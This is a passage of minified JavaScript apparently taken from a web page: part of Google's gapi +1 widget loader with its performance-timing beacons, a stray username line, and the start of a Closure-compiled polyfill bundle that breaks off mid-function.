f.toString===Object.prototype.toString||f.toString===Array.prototype.toString);if(f)try{c[k]=_.df(c[k])}catch(F){delete c[k]}}k=!0;c.dontclear&&(k=!1);delete c.dontclear;var l;f={};var n=l=a;"plus"==a&&c.action&&(l=a+"_"+c.action,n=a+"/"+c.action);(l=_.H("iframes/"+l+"/url"))||(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+n+"?usegapi=1");for(p in Gp)f[p]=p+"/"+(c[p]||Gp[p])+"/";var p=_.mn(_.Qd,l.replace(_.Fn,vp(f)));n="iframes/"+a+"/params/";f={};_.Vd(c,f);(l=_.H("lang")||_.H("gwidget/lang"))&& (f.hl=l);Hp[a]||(f.origin=_.Bp());f.exp=_.H(n+"exp");if(n=_.H(n+"location"))for(l=0;l<n.length;l++){var q=n[l];f[q]=_.Nd.location[q]}switch(a){case "plus":case "follow":f.url=_.Fp(f.href,c,null);delete f.href;break;case "plusone":n=(n=c.href)?zp(n):Ap();f.url=n;f.db=_.Dp(c.db,void 0,_.H());f.ecp=_.Ep(c.ecp,void 0,_.H());delete f.href;break;case "signin":f.url=Ap()}_.ce.ILI&&(f.iloader="1");delete f["data-onload"];delete f.rd;for(var t in Gp)f[t]&&delete f[t];f.gsrc=_.H("iframes/:source:");t=_.H("inline/css"); "undefined"!==typeof t&&0<e&&t>=e&&(f.ic="1");t=/^#|^fr-/;e={};for(var x in f)_.Ud(f,x)&&t.test(x)&&(e[x.replace(t,"")]=f[x],delete f[x]);x="q"==_.H("iframes/"+a+"/params/si")?f:e;t=_.yp();for(var v in t)!_.Ud(t,v)||_.Ud(f,v)||_.Ud(e,v)||(x[v]=t[v]);v=[].concat(Jp);x=_.H("iframes/"+a+"/methods");_.Wm(x)&&(v=v.concat(x));for(y in c)_.Ud(c,y)&&/^on/.test(y)&&("plus"!=a||"onconnect"!=y)&&(v.push(y),delete f[y]);delete f.callback;e._methods=v.join(",");var y=_.ln(p,f,e);v=h||{};v.allowPost=1;v.attributes= Ip;v.dontclear=!k;h={};h.userParams=c;h.url=y;h.type=a;_.Pp(a,b,c,y,v,h);b=h.id;c=_.D();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.fp[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),fq(a,b))}},gq=function(a,b,c){if(a&&1===a.nodeType&&b){if(c)return 1;if(Yp[b]){if(sp[a.nodeName.toLowerCase()])return(a=a.innerHTML)&&a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")?0:1}else{if(Xp[b])return 0;if(Wp[b])return 1}}return null}; _.Td(_.Wd,"platform",{}).go=function(a,b){eq(a,b)};var hq=_.Td(_.ce,"perf",_.D()),bq=_.Td(hq,"g",_.D()),iq=_.Td(hq,"i",_.D()),jq,kq,lq,cq,nq,oq,pq;_.Td(hq,"r",[]);jq=_.D();kq=_.D();lq=function(a,b,c,d){jq[c]=jq[c]||!!d;_.Td(kq,c,[]);kq[c].push([a,b])};cq=function(a,b,c){var d=hq.r;"function"===typeof d?d(a,b,c):d.push([a,b,c])};nq=function(a,b,c,d){if("_p"==b)throw Error("S");_.mq(a,b,c,d)};_.mq=function(a,b,c,d){oq(b,c)[a]=d||(new Date).getTime();cq(a,b,c)};oq=function(a,b){a=_.Td(iq,a,_.D());return _.Td(a,b,_.D())}; pq=function(a,b,c){var d=null;b&&c&&(d=oq(b,c)[a]);return d||bq[a]}; (function(){function a(a){this.t={};this.tick=function(a,b,c){this.t[a]=[void 0!=c?c:(new Date).getTime(),b];if(void 0==c)try{window.console.timeStamp("CSI/"+a)}catch(p){}};this.tick("start",null,a)}var b;if(window.performance)var c=(b=window.performance.timing)&&b.responseStart;var d=0<c?new a(c):new a;window.__gapi_jstiming__={Timer:a,load:d};if(b){var e=b.navigationStart;0<e&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;0<e&&c>=e&&(f.tick("_wtsrt",void 0,e), f.tick("wtsrt_","_wtsrt",c),f.tick("tbsd_","wtsrt_"))}try{b=null,window.chrome&&window.chrome.csi&&(b=Math.floor(window.chrome.csi().pageT),f&&0<e&&(f.tick("_tbnd",void 0,window.chrome.csi().startE),f.tick("tbnd_","_tbnd",e))),null==b&&window.gtbExternal&&(b=window.gtbExternal.pageT()),null==b&&window.external&&(b=window.external.pageT,f&&0<e&&(f.tick("_tbnd",void 0,window.external.startE),f.tick("tbnd_","_tbnd",e))),b&&(window.__gapi_jstiming__.pt=b)}catch(h){}})(); if(window.__gapi_jstiming__){window.__gapi_jstiming__.AF={};window.__gapi_jstiming__.eY=1;var sq=function(a,b,c){var d=a.t[b],e=a.t.start;if(d&&(e||c))return d=a.t[b][0],e=void 0!=c?c:e[0],Math.round(d-e)};window.__gapi_jstiming__.getTick=sq;window.__gapi_jstiming__.getLabels=function(a){var b=[],c;for(c in a.t)b.push(c);return b};var tq=function(a,b,c){var d="";window.__gapi_jstiming__.srt&&(d+="&srt="+window.__gapi_jstiming__.srt);window.__gapi_jstiming__.pt&&(d+="&tbsrt="+window.__gapi_jstiming__.pt); try{window.external&&window.external.tran?d+="&tran="+window.external.tran:window.gtbExternal&&window.gtbExternal.tran?d+="&tran="+window.gtbExternal.tran():window.chrome&&window.chrome.csi&&(d+="&tran="+window.chrome.csi().tran)}catch(q){}var e=window.chrome;if(e&&(e=e.loadTimes)){e().wasFetchedViaSpdy&&(d+="&p=s");if(e().wasNpnNegotiated){d+="&npn=1";var f=e().npnNegotiatedProtocol;f&&(d+="&npnv="+(window.encodeURIComponent||window.escape)(f))}e().wasAlternateProtocolAvailable&&(d+="&apa=1")}var h= a.t,k=h.start;e=[];f=[];for(var l in h)if("start"!=l&&0!=l.indexOf("_")){var n=h[l][1];n?h[n]&&f.push(l+"."+sq(a,l,h[n][0])):k&&e.push(l+"."+sq(a,l))}if(b)for(var p in b)d+="&"+p+"="+b[p];(b=c)||(b="https:"==window.document.location.protocol?"https://csi.gstatic.com/csi":"http://csi.gstatic.com/csi");return[b,"?v=3","&s="+(window.__gapi_jstiming__.sn||"")+"&action=",a.name,f.length?"&it="+f.join(","):"",d,"&rt=",e.join(",")].join("")},uq=function(a,b,c){a=tq(a,b,c);if(!a)return"";b=new window.Image; var d=window.__gapi_jstiming__.eY++;window.__gapi_jstiming__.AF[d]=b;b.onload=b.onerror=function(){window.__gapi_jstiming__&&delete window.__gapi_jstiming__.AF[d]};b.src=a;b=null;return a};window.__gapi_jstiming__.report=function(a,b,c){var d=window.document.visibilityState,e="visibilitychange";d||(d=window.document.webkitVisibilityState,e="webkitvisibilitychange");if("prerender"==d){var f=!1,h=function(){if(!f){b?b.prerender="1":b={prerender:"1"};if("prerender"==(window.document.visibilityState|| window.document.webkitVisibilityState))var d=!1;else uq(a,b,c),d=!0;d&&(f=!0,window.document.removeEventListener(e,h,!1))}};window.document.addEventListener(e,h,!1);return""}return uq(a,b,c)}}; var vq={g:"gapi_global",m:"gapi_module",w:"gwidget"},wq=function(a,b){this.type=a?"_p"==a?"m":"w":"g";this.name=a;this.wo=b};wq.prototype.key=function(){switch(this.type){case "g":return this.type;case "m":return this.type+"."+this.wo;case "w":return this.type+"."+this.name+this.wo}}; var xq=new wq,yq=window.navigator.userAgent.match(/iPhone|iPad|Android|PalmWebOS|Maemo|Bada/),zq=_.Td(hq,"_c",_.D()),Aq=Math.random()<(_.H("csi/rate")||0),Cq=function(a,b,c){for(var d=new wq(b,c),e=_.Td(zq,d.key(),_.D()),f=kq[a]||[],h=0;h<f.length;++h){var k=f[h],l=k[0],n=a,p=b,q=c;k=pq(k[1],p,q);n=pq(n,p,q);e[l]=k&&n?n-k:null}jq[a]&&Aq&&(Bq(xq),Bq(d))},Dq=function(a,b){b=b||[];for(var c=[],d=0;d<b.length;d++)c.push(a+b[d]);return c},Bq=function(a){var b=_.Nd.__gapi_jstiming__;b.sn=vq[a.type];var c= new b.Timer(0);a:{switch(a.type){case "g":var d="global";break a;case "m":d=a.wo;break a;case "w":d=a.name;break a}d=void 0}c.name=d;d=!1;var e=a.key(),f=zq[e];c.tick("_start",null,0);for(var h in f)c.tick(h,"_start",f[h]),d=!0;zq[e]=_.D();d&&(h=[],h.push("l"+(_.H("isPlusUser")?"1":"0")),d="m"+(yq?"1":"0"),h.push(d),"m"==a.type?h.push("p"+a.wo):"w"==a.type&&(e="n"+a.wo,h.push(e),"0"==a.wo&&h.push(d+e)),h.push("u"+(_.H("isLoggedIn")?"1":"0")),a=Dq("",h),a=Dq("abc_",a).join(","),b.report(c,{e:a}))}; lq("blt","bs0","bs1");lq("psi","ps0","ps1");lq("rpcqi","rqe","rqd");lq("bsprt","bsrt0","bsrt1");lq("bsrqt","bsrt1","bsrt2");lq("bsrst","bsrt2","bsrt3");lq("mli","ml0","ml1");lq("mei","me0","me1",!0);lq("wcdi","wrs","wcdi");lq("wci","wrs","wdc");lq("wdi","wrs","wrdi");lq("wdt","bs0","wrdt");lq("wri","wrs","wrri",!0);lq("wrt","bs0","wrrt");lq("wji","wje0","wje1",!0);lq("wjli","wjl0","wjl1");lq("whi","wh0","wh1",!0);lq("wai","waaf0","waaf1",!0);lq("wadi","wrs","waaf1",!0);lq("wadt","bs0","waaf1",!0); lq("wprt","wrt0","wrt1");lq("wrqt","wrt1","wrt2");lq("wrst","wrt2","wrt3",!0);lq("fbprt","fsrt0","fsrt1");lq("fbrqt","fsrt1","fsrt2");lq("fbrst","fsrt2","fsrt3",!0);lq("fdns","fdns0","fdns1");lq("fcon","fcon0","fcon1");lq("freq","freq0","freq1");lq("frsp","frsp0","frsp1");lq("fttfb","fttfb0","fttfb1");lq("ftot","ftot0","ftot1",!0);var Eq=hq.r;if("function"!==typeof Eq){for(var Fq;Fq=Eq.shift();)Cq.apply(null,Fq);hq.r=Cq}; var Gq=["div"],Hq="onload",Iq=!0,Jq=!0,Kq=function(a){return a},Lq=null,Mq=function(a){var b=_.H(a);return"undefined"!==typeof b?b:_.H("gwidget/"+a)},hr,ir,jr,kr,ar,cr,lr,br,mr,nr,or,pr;Lq=_.H();_.H("gwidget");var Nq=Mq("parsetags");Hq="explicit"===Nq||"onload"===Nq?Nq:Hq;var Oq=Mq("google_analytics");"undefined"!==typeof Oq&&(Iq=!!Oq);var Pq=Mq("data_layer");"undefined"!==typeof Pq&&(Jq=!!Pq); var Qq=function(){var a=this&&this.ka();a&&(_.ce.drw=a)},Rq=function(){_.ce.drw=null},Sq=function(a){return function(b){var c=a;"number"===typeof b?c=b:"string"===typeof b&&(c=b.indexOf("px"),-1!=c&&(b=b.substring(0,c)),c=(0,window.parseInt)(b,10));return c}},Tq=function(a){"string"===typeof a&&(a=window[a]);return"function"===typeof a?a:null},Uq=function(){return Mq("lang")||"en-US"},Vq=function(a){if(!_.O.Bb("attach")){var b={},c=_.O.Bb("inline"),d;for(d in c)c.hasOwnProperty(d)&&(b[d]=c[d]);b.open= function(a){var b=a.Ob().renderData.id;b=window.document.getElementById(b);if(!b)throw Error("T");return c.attach(a,b)};_.O.Xb("attach",b)}a.style="attach"},Wq=function(){var a={};a.width=[Sq(450)];a.height=[Sq(24)];a.onready=[Tq];a.lang=[Uq,"hl"];a.iloader=[function(){return _.ce.ILI},"iloader"];return a}(),Zq=function(a){var b={};b.De=a[0];b.Bo=-1;b.D$="___"+b.De+"_";b.W_="g:"+b.De;b.o9="g-"+b.De;b.wK=[];b.config={};b.Vs=[];b.uM={};b.Ew={};var c=function(a){for(var c in a)if(_.Ud(a,c)){b.config[c]= [Tq];b.Vs.push(c);var d=a[c],e=null,l=null,n=null;"function"===typeof d?e=d:d&&"object"===typeof d&&(e=d.Y8,l=d.Xr,n=d.Mw);n&&(b.Vs.push(n),b.config[n]=[Tq],b.uM[c]=n);e&&(b.config[c]=[e]);l&&(b.Ew[c]=l)}},d=function(a){for(var c={},d=0;d<a.length;++d)c[a[d].toLowerCase()]=1;c[b.W_]=1;b.lW=c};a[1]&&(b.parameters=a[1]);(function(a){b.config=a;for(var c in Wq)Wq.hasOwnProperty(c)&&!b.config.hasOwnProperty(c)&&(b.config[c]=Wq[c])})(a[2]||{});a[3]&&c(a[3]);a[4]&&d(a[4]);a[5]&&(b.jk=a[5]);b.u$=!0===a[6]; b.EX=a[7];b.H_=a[8];b.lW||d(Gq);b.CB=function(a){b.Bo++;nq("wrs",b.De,String(b.Bo));var c=[],d=a.element,e=a.config,l=":"+b.De;":plus"==l&&a.hk&&a.hk.action&&(l+="_"+a.hk.action);var n=Xq(b,e),p={};_.Vd(_.yp(),p);for(var q in a.hk)null!=a.hk[q]&&(p[q]=a.hk[q]);q={container:d.id,renderData:a.$X,style:"inline",height:e.height,width:e.width};Vq(q);b.jk&&(c[2]=q,c[3]=p,c[4]=n,b.jk("i",c));l=_.O.open(l,q,p,n);Yq(b,l,e,d,a.GQ);c[5]=l;b.jk&&b.jk("e",c)};return b},Xq=function(a,b){for(var c={},d=a.Vs.length- 1;0<=d;--d){var e=a.Vs[d],f=b[a.uM[e]||e]||b[e],h=b[e];h&&f!==h&&(f=function(a,b){return function(c){b.apply(this,arguments);a.apply(this,arguments)}}(f,h));f&&(c[e]=f)}for(var k in a.Ew)a.Ew.hasOwnProperty(k)&&(c[k]=$q(c[k]||function(){},a.Ew[k]));c.drefresh=Qq;c.erefresh=Rq;return c},$q=function(a,b){return function(c){var d=b(c);if(d){var e=c.href||null;if(Iq){if(window._gat)try{var f=window._gat._getTrackerByName("~0");f&&"UA-XXXXX-X"!=f._getAccount()?f._trackSocial("Google",d,e):window._gaq&& window._gaq.push(["_trackSocial","Google",d,e])}catch(k){}if(window.ga&&window.ga.getAll)try{var h=window.ga.getAll();for(f=0;f<h.length;f++)h[f].send("social","Google",d,e)}catch(k){}}if(Jq&&window.dataLayer)try{window.dataLayer.push({event:"social",socialNetwork:"Google",socialAction:d,socialTarget:e})}catch(k){}}a.call(this,c)}},Yq=function(a,b,c,d,e){ar(b,c);br(b,d);cr(a,b,e);dr(a.De,a.Bo.toString(),b);(new er).Ya.Jk(a,b,c,d,e)},er=function(){if(!this.Ya){for(var a=this.constructor;a&&!a.Wm;)a= a.H&&a.H.constructor;a.Wm.lG||(a.Wm.lG=Tp(a));this.Ya=new a.Wm.lG(this);this.jz||(this.jz=Vp)}},fr=function(){},gr=er;fr.H||_.z(fr,Qp);gr.Wm=fr;fr.prototype.Jk=function(a){a=a?a:function(){};a.AJ=!0;return a}();hr=function(a){return _.zo&&"undefined"!=typeof _.zo&&a instanceof _.zo};ir=function(a){return hr(a)?"_renderstart":"renderstart"};jr=function(a){return hr(a)?"_ready":"ready"};kr=function(){return!0}; ar=function(a,b){if(b.onready){var c=!1,d=function(){c||(c=!0,b.onready.call(null))};a.register(jr(a),d,kr);a.register(ir(a),d,kr)}}; cr=function(a,b,c){var d=a.De,e=String(a.Bo),f=!1,h=function(){f||(f=!0,c&&nq("wrdt",d,e),nq("wrdi",d,e))};b.register(ir(b),h,kr);var k=!1;a=function(){k||(k=!0,h(),c&&nq("wrrt",d,e),nq("wrri",d,e))};b.register(jr(b),a,kr);hr(b)?b.register("widget-interactive-"+b.id,a,kr):_.K.register("widget-interactive-"+b.id,a);_.K.register("widget-csi-tick-"+b.id,function(a,b,c){"wdc"===a?nq("wdc",d,e,c):"wje0"===a?nq("wje0",d,e,c):"wje1"===a?nq("wje1",d,e,c):"wh0"==a?_.mq("wh0",d,e,c):"wh1"==a?_.mq("wh1",d,e, c):"wcdi"==a&&_.mq("wcdi",d,e,c)})};lr=function(a){return"number"==typeof a?a+"px":"100%"==a?a:null};br=function(a,b){var c=function(c){c=c||a;var d=lr(c.width);d&&b.style.width!=d&&(b.style.width=d);(c=lr(c.height))&&b.style.height!=c&&(b.style.height=c)};hr(a)?a.pL("onRestyle",c):(a.register("ready",c,kr),a.register("renderstart",c,kr),a.register("resize",c,kr))};mr=function(a,b){for(var c in Wq)if(Wq.hasOwnProperty(c)){var d=Wq[c][1];d&&!b.hasOwnProperty(d)&&(b[d]=a[d])}return b}; nr=function(a,b){var c={},d;for(d in a)a.hasOwnProperty(d)&&(c[a[d][1]||d]=(a[d]&&a[d][0]||Kq)(b[d.toLowerCase()],b,Lq));return c};or=function(a){if(a=a.EX)for(var b=0;b<a.length;b++)(new window.Image).src=a[b]};pr=function(a,b){var c=b.userParams,d=b.siteElement;d||(d=(d=b.iframeNode)&&d.parentNode);if(d&&1===d.nodeType){var e=nr(a.config,c);a.wK.push({element:d,config:e,hk:mr(e,nr(a.parameters,c)),X9:3,GQ:!!c["data-onload"],$X:b})}b=a.wK;for(a=a.CB;0<b.length;)a(b.shift())}; _.qr=function(a){var b=Zq(a);or(b);_.pn(b.De,function(a){pr(b,a)});Wp[b.De]=!0;var c={va:function(a,c,f){var d=c||{};d.type=b.De;c=d.type;delete d.type;var e=("string"===typeof a?window.document.getElementById(a):a)||void 0;if(e){a={};for(var l in d)_.Ud(d,l)&&(a[l.toLowerCase()]=d[l]);a.rd=1;(l=!!a.ri)&&delete a.ri;dq(c,e,a,[],0,l,f)}else _.ue("string"==="gapi."+c+".render: missing element "+typeof a?a:"")},go:function(a){eq(a,b.De)},Y9:function(){var a=_.Td(_.ce,"WI",_.D()),b;for(b in a)delete a[b]}}; a=function(){"onload"===Hq&&c.go()};tp(b.De)||rp(a,a);_.w("gapi."+b.De+".go",c.go);_.w("gapi."+b.De+".render",c.va);return c}; var rr=pr,sr=function(a,b){a.Bo++;nq("wrs",a.De,String(a.Bo));var c=b.userParams,d=nr(a.config,c),e=[],f=b.iframeNode,h=b.siteElement,k=Xq(a,d),l=nr(a.parameters,c);_.Vd(_.yp(),l);l=mr(d,l);c=!!c["data-onload"];var n=_.ao,p=_.D();p.renderData=b;p.height=d.height;p.width=d.width;p.id=b.id;p.url=b.url;p.iframeEl=f;p.where=p.container=h;p.apis=["_open"];p.messageHandlers=k;p.messageHandlersFilter=_.M;_.mp(p);f=l;a.jk&&(e[2]=p,e[3]=f,e[4]=k,a.jk("i",e));k=n.uj(p);k.id=b.id;k.aD(k,p);Yq(a,k,d,h,c);e[5]= k;a.jk&&a.jk("e",e)};pr=function(a,b){var c=b.url;a.H_||_.pp(c)?_.wo?sr(a,b):(0,_.Wj)("gapi.iframes.impl",function(){sr(a,b)}):_.O.open?rr(a,b):(0,_.Wj)("iframes",function(){rr(a,b)})}; var tr=function(){var a=window;return!!a.performance&&!!a.performance.getEntries},dr=function(a,b,c){if(tr()){var d=function(){var a=!1;return function(){if(a)return!0;a=!0;return!1}}(),e=function(){d()||window.setTimeout(function(){var d=c.Ha().src;var e=d.indexOf("#");-1!=e&&(d=d.substring(0,e));d=window.performance.getEntriesByName(d);1>d.length?d=null:(d=d[0],d=0==d.responseStart?null:d);if(d){e=Math.round(d.requestStart);var k=Math.round(d.responseStart),l=Math.round(d.responseEnd);nq("wrt0", a,b,Math.round(d.startTime));nq("wrt1",a,b,e);nq("wrt2",a,b,k);nq("wrt3",a,b,l)}},1E3)};c.register(ir(c),e,kr);c.register(jr(c),e,kr)}}; _.w("gapi.widget.make",_.qr); var ur,vr,wr,yr;ur=["left","right"];vr="inline bubble none only pp vertical-bubble".split(" ");wr=function(a,b){if("string"==typeof a){a=a.toLowerCase();var c;for(c=0;c<b.length;c++)if(b[c]==a)return a}};_.xr=function(a){return wr(a,vr)};yr=function(a){return wr(a,ur)};_.zr=function(a){a.source=[null,"source"];a.expandTo=[null,"expandTo"];a.align=[yr];a.annotation=[_.xr];a.origin=[_.Bp]}; _.O.NC("bubble",function(a){(0,_.Wj)("iframes-styles-bubble",a)}); _.O.NC("slide-menu",function(a){(0,_.Wj)("iframes-styles-slide-menu",a)}); _.w("gapi.plusone.render",_.TV);_.w("gapi.plusone.go",_.UV); var VV={tall:{"true":{width:50,height:60},"false":{width:50,height:24}},small:{"false":{width:24,height:15},"true":{width:70,height:15}},medium:{"false":{width:32,height:20},"true":{width:90,height:20}},standard:{"false":{width:38,height:24},"true":{width:106,height:24}}},WV={width:180,height:35},XV=function(a){return"string"==typeof a?""!=a&&"0"!=a&&"false"!=a.toLowerCase():!!a},YV=function(a){var b=(0,window.parseInt)(a,10);if(b==a)return String(b)},ZV=function(a){if(XV(a))return"true"},$V=function(a){return"string"== typeof a&&VV[a.toLowerCase()]?a.toLowerCase():"standard"},aW=function(a,b){return"tall"==$V(b)?"true":null==a||XV(a)?"true":"false"},bW=function(a,b){return VV[$V(a)][aW(b,a)]},cW=function(a,b,c){a=_.xr(a);b=$V(b);if(""!=a){if("inline"==a||"only"==a)return a=450,c.width&&(a=120<c.width?c.width:120),{width:a,height:VV[b]["false"].height};if("bubble"!=a){if("none"==a)return VV[b]["false"];if("pp"==a)return WV}}return VV[b]["true"]},dW={href:[_.Cp,"url"],width:[YV],size:[$V],resize:[ZV],autosize:[ZV], count:[function(a,b){return aW(b.count,b.size)}],db:[_.Dp],ecp:[_.Ep],textcolor:[function(a){if("string"==typeof a&&a.match(/^[0-9A-F]{6}$/i))return a}],drm:[ZV],recommendations:[],fu:[],ad:[ZV],cr:[YV],ag:[YV],"fr-ai":[],"fr-sigh":[]}; (function(){var a={0:"plusone"},b=_.H("iframes/plusone/preloadUrl");b&&(a[7]=b);_.zr(dW);a[1]=dW;a[2]={width:[function(a,b){return b.annotation?cW(b.annotation,b.size,b).width:bW(b.size,b.count).width}],height:[function(a,b){return b.annotation?cW(b.annotation,b.size,b).height:bW(b.size,b.count).height}]};a[3]={onPlusOne:{Xr:function(a){return"on"==a.state?"+1":null},Mw:"callback"},onstartinteraction:!0,onendinteraction:!0,onpopup:!0};a[4]=["div","button"];a=_.qr(a);_.UV=a.go;_.TV=a.va})(); }); // Google Inc.
vohidjon123
(function(sttc){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var n;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a}; function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var da=ca(this),ea="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),p={},fa={};function r(a,b){var c=fa[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]} function ha(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in p?f=p:f=da;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=ea&&"es6"===c?f[d]:null;b=b(c);null!=b&&(a?ba(p,d,{configurable:!0,writable:!0,value:b}):b!==c&&(void 0===fa[d]&&(a=1E9*Math.random()>>>0,fa[d]=ea?da.Symbol(d):"$jscp$"+a+"$"+d),ba(f,fa[d],{configurable:!0,writable:!0,value:b})))}} ha("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f||"")+"_"+e++,f)}function c(f,g){this.h=f;ba(this,"description",{configurable:!0,writable:!0,value:g})}if(a)return a;c.prototype.toString=function(){return this.h};var d="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",e=0;return b},"es6"); ha("Symbol.iterator",function(a){if(a)return a;a=(0,p.Symbol)("Symbol.iterator");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=da[b[c]];"function"===typeof d&&"function"!=typeof d.prototype[a]&&ba(d.prototype,a,{configurable:!0,writable:!0,value:function(){return ia(aa(this))}})}return a},"es6"); function ia(a){a={next:a};a[r(p.Symbol,"iterator")]=function(){return this};return a}function ja(a){return a.raw=a}function u(a){var b="undefined"!=typeof p.Symbol&&r(p.Symbol,"iterator")&&a[r(p.Symbol,"iterator")];return b?b.call(a):{next:aa(a)}}function ka(a){if(!(a instanceof Array)){a=u(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}function la(a,b){return Object.prototype.hasOwnProperty.call(a,b)} var ma=ea&&"function"==typeof r(Object,"assign")?r(Object,"assign"):function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)la(d,e)&&(a[e]=d[e])}return a};ha("Object.assign",function(a){return a||ma},"es6");var na="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},oa; if(ea&&"function"==typeof Object.setPrototypeOf)oa=Object.setPrototypeOf;else{var pa;a:{var qa={a:!0},ra={};try{ra.__proto__=qa;pa=ra.a;break a}catch(a){}pa=!1}oa=pa?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var sa=oa; function v(a,b){a.prototype=na(b.prototype);a.prototype.constructor=a;if(sa)sa(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.Ub=b.prototype}function ta(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b} ha("Promise",function(a){function b(g){this.h=0;this.j=void 0;this.i=[];this.G=!1;var h=this.l();try{g(h.resolve,h.reject)}catch(k){h.reject(k)}}function c(){this.h=null}function d(g){return g instanceof b?g:new b(function(h){h(g)})}if(a)return a;c.prototype.i=function(g){if(null==this.h){this.h=[];var h=this;this.j(function(){h.m()})}this.h.push(g)};var e=da.setTimeout;c.prototype.j=function(g){e(g,0)};c.prototype.m=function(){for(;this.h&&this.h.length;){var g=this.h;this.h=[];for(var h=0;h<g.length;++h){var k= g[h];g[h]=null;try{k()}catch(l){this.l(l)}}}this.h=null};c.prototype.l=function(g){this.j(function(){throw g;})};b.prototype.l=function(){function g(l){return function(m){k||(k=!0,l.call(h,m))}}var h=this,k=!1;return{resolve:g(this.P),reject:g(this.m)}};b.prototype.P=function(g){if(g===this)this.m(new TypeError("A Promise cannot resolve to itself"));else if(g instanceof b)this.U(g);else{a:switch(typeof g){case "object":var h=null!=g;break a;case "function":h=!0;break a;default:h=!1}h?this.O(g):this.A(g)}}; b.prototype.O=function(g){var h=void 0;try{h=g.then}catch(k){this.m(k);return}"function"==typeof h?this.ga(h,g):this.A(g)};b.prototype.m=function(g){this.C(2,g)};b.prototype.A=function(g){this.C(1,g)};b.prototype.C=function(g,h){if(0!=this.h)throw Error("Cannot settle("+g+", "+h+"): Promise already settled in state"+this.h);this.h=g;this.j=h;2===this.h&&this.R();this.H()};b.prototype.R=function(){var g=this;e(function(){if(g.N()){var h=da.console;"undefined"!==typeof h&&h.error(g.j)}},1)};b.prototype.N= function(){if(this.G)return!1;var g=da.CustomEvent,h=da.Event,k=da.dispatchEvent;if("undefined"===typeof k)return!0;"function"===typeof g?g=new g("unhandledrejection",{cancelable:!0}):"function"===typeof h?g=new h("unhandledrejection",{cancelable:!0}):(g=da.document.createEvent("CustomEvent"),g.initCustomEvent("unhandledrejection",!1,!0,g));g.promise=this;g.reason=this.j;return k(g)};b.prototype.H=function(){if(null!=this.i){for(var g=0;g<this.i.length;++g)f.i(this.i[g]);this.i=null}};var f=new c; b.prototype.U=function(g){var h=this.l();g.ia(h.resolve,h.reject)};b.prototype.ga=function(g,h){var k=this.l();try{g.call(h,k.resolve,k.reject)}catch(l){k.reject(l)}};b.prototype.then=function(g,h){function k(t,y){return"function"==typeof t?function(F){try{l(t(F))}catch(z){m(z)}}:y}var l,m,q=new b(function(t,y){l=t;m=y});this.ia(k(g,l),k(h,m));return q};b.prototype.catch=function(g){return this.then(void 0,g)};b.prototype.ia=function(g,h){function k(){switch(l.h){case 1:g(l.j);break;case 2:h(l.j); break;default:throw Error("Unexpected state: "+l.h);}}var l=this;null==this.i?f.i(k):this.i.push(k);this.G=!0};b.resolve=d;b.reject=function(g){return new b(function(h,k){k(g)})};b.race=function(g){return new b(function(h,k){for(var l=u(g),m=l.next();!m.done;m=l.next())d(m.value).ia(h,k)})};b.all=function(g){var h=u(g),k=h.next();return k.done?d([]):new b(function(l,m){function q(F){return function(z){t[F]=z;y--;0==y&&l(t)}}var t=[],y=0;do t.push(void 0),y++,d(k.value).ia(q(t.length-1),m),k=h.next(); while(!k.done)})};return b},"es6");ha("Array.prototype.find",function(a){return a?a:function(b,c){a:{var d=this;d instanceof String&&(d=String(d));for(var e=d.length,f=0;f<e;f++){var g=d[f];if(b.call(c,g,f,d)){b=g;break a}}b=void 0}return b}},"es6"); ha("WeakMap",function(a){function b(g){this.h=(f+=Math.random()+1).toString();if(g){g=u(g);for(var h;!(h=g.next()).done;)h=h.value,this.set(h[0],h[1])}}function c(){}function d(g){var h=typeof g;return"object"===h&&null!==g||"function"===h}if(function(){if(!a||!Object.seal)return!1;try{var g=Object.seal({}),h=Object.seal({}),k=new a([[g,2],[h,3]]);if(2!=k.get(g)||3!=k.get(h))return!1;k.delete(g);k.set(h,4);return!k.has(g)&&4==k.get(h)}catch(l){return!1}}())return a;var e="$jscomp_hidden_"+Math.random(), f=0;b.prototype.set=function(g,h){if(!d(g))throw Error("Invalid WeakMap key");if(!la(g,e)){var k=new c;ba(g,e,{value:k})}if(!la(g,e))throw Error("WeakMap key fail: "+g);g[e][this.h]=h;return this};b.prototype.get=function(g){return d(g)&&la(g,e)?g[e][this.h]:void 0};b.prototype.has=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)};b.prototype.delete=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)?delete g[e][this.h]:!1};return b},"es6"); ha("Map",function(a){function b(){var h={};return h.L=h.next=h.head=h}function c(h,k){var l=h.h;return 